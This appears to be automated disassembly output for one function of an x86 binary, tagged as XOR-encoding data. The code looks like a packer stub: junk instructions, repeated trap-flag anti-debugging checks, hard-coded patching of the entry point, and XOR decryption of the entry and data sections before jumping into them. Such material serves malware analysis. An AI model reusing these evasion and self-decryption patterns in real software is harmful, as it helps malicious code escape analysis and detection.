Function at 0x408b5d
Capabilities:
Encode data using xor

Disassembly:
xchg bl, bl
cld
nop
nop
nop
nop
call 0x408b5d
or ebx, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b45
pop ebx
or ah, 0
xor sp, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b55
pop ebx
sub cl, 0
cld
nop
pop ebp
jmp 0x408b61
xor ebx, 0
nop
push eax
pushfd
pop eax
test ah, 1
jne 0x408b6b
pop eax
cld
sub ebp, 0x401005
xor bp, 0
cld
nop
nop
lea edi, [ebp + 0x4010e4]
nop
xchg cl, cl
jmp 0x408b88
jmp 0x408b8b
mov dl, dl
nop
xor di, 0
mov ch, ch
nop
push edx
pushfd
pop edx
test dh, 1
jne 0x408b9b
pop edx
nop
nop
nop
cld
mov ebx, 0x27c
xor al, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408baf
pop ebx
nop
xor al, 0
sub esp, 0
xchg ch, ch
nop
cld
cld
mov dl, byte [edi]
jmp 0x408bc2
nop
cld
ror dl, 0xc0
mov eax, eax
cld
nop
cld
mov byte [edi], dl
add dx, 0
xor ebx, 0
nop
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408bdc
pop ebx
dec ebx
xchg di, di
or al, 0
xchg edi, edi
jmp 0x408bea
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408bf1
pop ecx
inc edi
or bx, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408bff
pop ebx
cld
cld
push edx
pushfd
pop edx
test dh, 1
jne 0x408c0a
pop edx
jmp 0x408c10
cld
cld
nop
test ebx, ebx
jne 0x408bbd
pushal
mov esi, entry0
mov eax, 0x8b71c2de
mov dword [esi], eax
mov eax, 0xf73526a3
mov dword [esi + 4], eax
mov eax, 0x3706ae
mov dword [esi + 8], eax
mov eax, 0xf4502ef
mov dword [esi + 0xc], eax
mov eax, 0x8154664
mov dword [esi + 0x10], eax
mov eax, 0x10155664
mov dword [esi + 0x14], eax
mov eax, 0x3890066
mov dword [esi + 0x18], eax
popal
jmp 0x408c5d
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0xcba
mov ebx, 0x3102ef
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408c70
popfd
popal
jmp 0x408c7c
pushal
pushfd
mov esi, section..data
mov edi, esi
mov ecx, 0x6e8
mov ebx, 0x3102ef
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408c8f
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add bl, ch
add dword [ebp + 0x589c5090], esp
test ah, 1
jne 0x408ea1
pop eax
jmp 0x408ea7
sub dl, 0
xchg al, al
xor si, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408eb6
pop ebx
mov ebp, ebp
xchg cl, cl
or al, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408ec5
pop ebx
xor bh, 0
mov eax, eax
jmp 0x408ed0
mov cl, cl
nop
mov ax, ax
nop
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408edd
pop ebx
or cx, 0
mov bl, bl
jmp 0x408ee9
add ax, 0
xchg eax, eax
nop
add esi, 0
xor ecx, 0
sub si, 0
cld
nop
nop
jmp 0x408f00
mov edi, edi
sub ebx, 0
sub bp, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408f0f
pop eax
nop
cld
nop
sub di, 0
xchg cl, cl
cld
mov dh, dh
cld
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f25
pop ecx
mov edi, edi
cld
jmp 0x408f2e
mov cx, cx
mov bl, bl
jmp 0x408f36
or si, 0
nop
sub si, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f45
pop ecx
xchg dh, dh
cld
nop
jmp 0x408f4f
xchg esp, esp
or ecx, 0
jmp 0x408f57
xor bp, 0
nop
add bx, 0
jmp 0x408f63
sub ebp, 0
add bh, 0
add dx, 0
cld
xchg dl, dl
push edx
pushfd
pop edx
test dh, 1
jne 0x408f76
pop edx
add ax, 0
xchg sp, sp
xchg dh, dh
push edx
pushfd
pop edx
test dh, 1
jne 0x408f88
pop edx
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f92
pop ecx
push eax
pushfd
pop eax
test ah, 1
jne 0x408f9b
pop eax
xor bh, 0
sub bx, 0
jmp 0x408fa8
nop
nop
cld
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al